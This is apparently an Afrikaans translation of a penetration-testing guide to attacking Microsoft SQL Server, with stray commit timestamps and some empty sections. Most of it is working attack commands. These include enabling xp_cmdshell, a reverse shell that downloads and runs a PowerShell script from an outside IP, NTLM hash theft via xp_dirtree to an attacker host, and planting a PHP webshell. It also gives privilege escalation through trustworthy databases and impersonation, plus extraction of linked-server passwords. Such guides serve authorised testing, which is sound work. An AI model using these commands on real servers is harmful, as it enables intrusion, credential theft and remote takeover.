## Basiese Inligting
Van [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
2024-02-08 21:36:15 +00:00
> **Microsoft SQL Server** is 'n **relasionele databasis**-bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat óf op dieselfde rekenaar óf op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan hardloop.\\
2024-02-11 02:07:06 +00:00
**Verstekpoort:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Verstek MS-SQL Stelsel Tabelle**
* **meester Databasis**: Hierdie databasis is noodsaaklik omdat dit alle stelselvlak besonderhede vir 'n SQL Server instansie vasvang.
* **msdb Databasis**: SQL Server Agent maak gebruik van hierdie databasis om skedulering vir waarskuwings en take te bestuur.
* **model Databasis**: Tree op as 'n bloudruk vir elke nuwe databasis op die SQL Server instansie, waar enige veranderings soos grootte, sortering, herstelmodel, en meer nageboots word in nuut geskepte databasisse.
* **Hulpbron Databasis**: 'n Slegs-lees databasis wat stelselvoorwerpe huisves wat met SQL Server kom. Hierdie voorwerpe, alhoewel fisies gestoor in die Hulpbron databasis, word logies voorgestel in die sys skema van elke databasis.
* **tempdb Databasis**: Dien as 'n tydelike stoorplek vir tydelike voorwerpe of tussenliggende resultaatsets.

## Opsomming
### Outomatiese Opsomming
2024-02-11 02:07:06 +00:00
As jy niks weet van die diens nie:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
2022-10-09 17:44:56 +00:00
{% hint style="info" %}
As jy **nie geloofsbriewe het** nie, kan jy probeer om hulle te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan rekeninge **blokkeer** as jy misluk om 'n paar keer in te teken met 'n bestaande gebruikersnaam.

#### Kry Toestemmings
2022-10-09 17:44:56 +00:00
1. **Beveiligbaar:** Gedefinieer as die bronne wat deur SQL Server bestuur word vir toegangsbeheer. Hierdie word gekategoriseer in:
* **Bediener** - Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en bedienersrolle in.
* **Databasis** - Voorbeelde dek databasisrol, toepassingsrolle, skema, sertifikate, volledige tekskatalogusse, en gebruikers.
* **Skema** - Sluit tabelle, aansigte, prosedures, funksies, sinonieme, ens. in.
2. **Toestemming:** Verbonde met SQL Server beveiligbares, toestemmings soos ALTER, BEHEER, en SKEP kan aan 'n hoofakteur toegeken word. Bestuur van toestemmings vind op twee vlakke plaas:
* **Bedienervlak** deur gebruik van aanmeldings
* **Databasisvlak** deur gebruik van gebruikers
3. **Hoofakteur:** Hierdie term verwys na die entiteit wat toestemming verleen word tot 'n beveiligbare. Hoofakteurs sluit hoofaantekeninge en databasisgebruikers hoofsaaklik in. Die beheer oor toegang tot beveiligbares word uitgeoefen deur die toekennen of ontkenning van toestemmings of deur die insluiting van aanmeldings en gebruikers in rolle toegerus met toegangsregte.
2022-10-09 17:44:56 +00:00
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
2022-10-10 00:51:01 +00:00
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
2022-10-09 17:44:56 +00:00
```
## Sluike metodes
2022-10-09 17:44:56 +00:00
2024-02-11 02:07:06 +00:00
### Voer OS-opdragte uit
2022-10-10 00:51:01 +00:00
{% hint style="danger" %}
Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hê om opdragte uit te voer nie, maar ook die **UITVOER-permissie op die `xp_cmdshell` gestoorde prosedure** te hê. Jy kan sien wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met:
2022-10-10 00:51:01 +00:00
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
{% endhint %}
```bash
2022-10-10 00:51:01 +00:00
# Username + Password + CMD command
2020-09-20 22:23:18 +00:00
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
2022-10-10 00:51:01 +00:00
# Username + Hash + PS command
2020-09-20 22:23:18 +00:00
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
2022-08-15 13:00:19 +00:00
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
2022-10-09 21:13:17 +00:00
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
2022-10-09 21:13:17 +00:00
#This enables xp_cmdshell
2020-09-20 22:23:18 +00:00
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
2022-10-09 21:13:17 +00:00
#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
2022-10-09 17:44:56 +00:00
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
2021-10-27 09:30:33 +00:00
# Bypass blackisted "EXEC xp_cmdshell"
2022-10-09 17:44:56 +00:00
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
### Steel NetNTLM-hash / Oorplasing aanval
Jy moet 'n **SMB-bediener** begin om die hash wat in die verifikasie gebruik word, vas te vang (`impacket-smbserver` of `responder` byvoorbeeld).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
2022-10-03 00:11:21 +00:00
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
2022-10-10 00:51:01 +00:00
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
2022-10-03 00:11:21 +00:00
# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
2022-10-10 00:51:01 +00:00
{% hint style="warning" %}
Jy kan nagaan of wie (behalwe stelseladministrateurs) toestemming het om daardie MSSQL-funksies uit te voer met:
2022-10-10 00:51:01 +00:00
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
```
{% endhint %}
Deur gereedskap soos **responder** of **Inveigh** te gebruik, is dit moontlik om die NetNTLM-hash te **steel**.\
Jy kan sien hoe om hierdie gereedskap te gebruik in:

2024-02-11 02:07:06 +00:00
### **Skryf Lêers**
2022-10-03 00:11:21 +00:00
Om lêers te skryf met behulp van `MSSQL`, moet ons **Ole Automation Procedures** aktiveer, wat admin-voorregte vereis, en dan sekere gestoorde prosedures uitvoer om die lêer te skep:
2022-10-03 00:11:21 +00:00
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
2022-10-10 00:51:01 +00:00
2022-10-03 00:11:21 +00:00
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
2022-10-10 00:51:01 +00:00
2022-10-03 00:11:21 +00:00
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **Lees lêer met** OPENROWSET
2022-10-03 00:11:21 +00:00
Standaard, `MSSQL` laat lêer **lees op enige lêer in die bedryfstelsel waartoe die rekening leestoegang het** toe. Ons kan die volgende SQL-navraag gebruik:
2022-10-03 00:11:21 +00:00
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
Egter, die **`BULK`** opsie vereis die **`ADMINISTER BULK OPERATIONS`** of die **`ADMINISTER DATABASE BULK OPERATIONS`** toestemming.
2022-10-10 09:20:50 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Foutgebaseerde vektor vir SQLi:

```
2024-02-11 02:07:06 +00:00

2022-10-10 00:14:53 +00:00
```
2024-02-11 02:07:06 +00:00
### **RCE/Lees lêers wat skripte uitvoer (Python en R)**
2022-10-10 00:14:53 +00:00
MSSQL kan jou toelaat om **skripte in Python en/of R** uit te voer. Hierdie kode sal uitgevoer word deur 'n **verskillende gebruiker** as die een wat **xp\_cmdshell** gebruik om bevele uit te voer.
Voorbeeld om 'n **'R'** _"Hellow World!"_ **wat nie werk nie** uit te voer:
![](<../../.gitbook/assets/image (393).png>)
Voorbeeld van die gebruik van gekonfigureerde Python om verskeie aksies uit te voer:
```sql
2022-10-10 00:51:01 +00:00
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```
2024-02-11 02:07:06 +00:00
### Lees Register
Microsoft SQL Server bied **verskeie uitgebreide gestoorde prosedures** wat jou in staat stel om te interakteer met nie net die netwerk nie, maar ook die lêersisteem en selfs die [**Windows Register**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**

### RCE met MSSQL Gebruiker Gedefinieerde Funksie - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Dit is moontlik om **'n .NET dll binne MSSQL te laai met aangepaste funksies**. Dit **vereis egter `dbo` toegang** sodat jy 'n verbinding met die databasis nodig het **as `sa` of 'n Administrateur rol**.
2024-02-11 02:07:06 +00:00
[**Volg hierdie skakel**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) om 'n voorbeeld te sien.

2022-10-10 00:14:53 +00:00
### Vanaf db\_owner tot sysadmin
2022-10-10 00:14:53 +00:00
As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis wat deur 'n admin besit word** (soos **`sa`**) gegee word en daardie databasis is ingestel as **`trustworthy`**, kan daardie gebruiker hierdie voorregte misbruik om te **voorregverhoging** omdat **gestoorde prosedures** wat daar geskep is, kan **uitgevoer** word as die eienaar (**admin**).
2022-10-10 00:14:53 +00:00
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
2022-10-03 00:11:21 +00:00
```
2024-02-11 02:07:06 +00:00
Jy kan 'n **metasploit** module gebruik:
2022-10-10 00:14:53 +00:00
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
Of 'n **PS** skrips:
2022-10-10 00:14:53 +00:00
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
2022-10-03 00:11:21 +00:00
```
### Impersonasie van ander gebruikers
2022-10-10 00:14:53 +00:00
SQL Server het 'n spesiale toestemming, genaamd **`IMPERSONATE`**, wat **die uitvoerende gebruiker toelaat om die regte van 'n ander gebruiker** of aanmelding oor te neem totdat die konteks herstel word of die sessie eindig.
2022-10-10 00:14:53 +00:00
```sql
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
2022-10-03 00:11:21 +00:00
```
{% hint style="info" %}
As jy 'n gebruiker kan impersoneer, selfs as hy nie 'n sysadmin is nie, moet jy nagaan of die gebruiker toegang het tot ander databasisse of gekoppelde bedieners.
{% endhint %}
2022-10-03 00:11:21 +00:00
Merk op dat sodra jy 'n sysadmin is, kan jy enige ander een impersoneer:
2022-10-10 00:14:53 +00:00
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
2024-02-11 02:07:06 +00:00
Jy kan hierdie aanval uitvoer met 'n **metasploit** module:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
2024-02-11 02:07:06 +00:00
of met 'n **PS** skrip:
2022-10-10 00:14:53 +00:00
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## Gebruik van MSSQL vir Volharding

## Uithaling van wagwoorde vanaf SQL Server Gekoppelde Bedieners
'n Aanvaller kan SQL Server Gekoppelde Bedieners se wagwoorde uithaal uit die SQL-instansies en hulle in die teks sien, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die teiken te kry. Die skrif om die wagwoorde wat vir die Gekoppelde Bedieners gestoor word, te onttrek en te dekripteer, kan [hier](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) gevind word.
Sekere vereistes en konfigurasies moet gedoen word sodat hierdie uitbuiting kan werk. Eerstens moet jy Administrateur-regte op die masjien hê, of die vermoë om die SQL Server-konfigurasies te bestuur.
2024-02-11 02:07:06 +00:00
Nadat jou regte geverifieer is, moet jy drie dinge konfigureer, naamlik:
1. Skakel TCP/IP in op die SQL Server-instansies;
2024-02-11 02:07:06 +00:00
2. Voeg 'n Beginparameter by, in hierdie geval sal 'n spoorvlag bygevoeg word, naamlik -T7806.
3. Skakel afstandbeheerverbinding in.
Om hierdie konfigurasies outomaties te maak, het [hierdie bewaarplek](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benodigde skripte. Benewens 'n Powershell-skrip vir elke stap van die konfigurasie, het die bewaarplek ook 'n volledige skrip wat die konfigurasietskripte en die uithaling en dekriptering van die wagwoorde kombineer.
Vir verdere inligting, verwys na die volgende skakels oor hierdie aanval: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Plaaslike Bevoorregtingseskalasie
Die gebruiker wat MSSQL-bediener hardloop, sal die bevoorregtingsteken **SeImpersonatePrivilege** geaktiveer hê.\
Jy sal waarskynlik kan **eskaleer na Administrateur** deur een van hierdie 2 bladsye te volg:
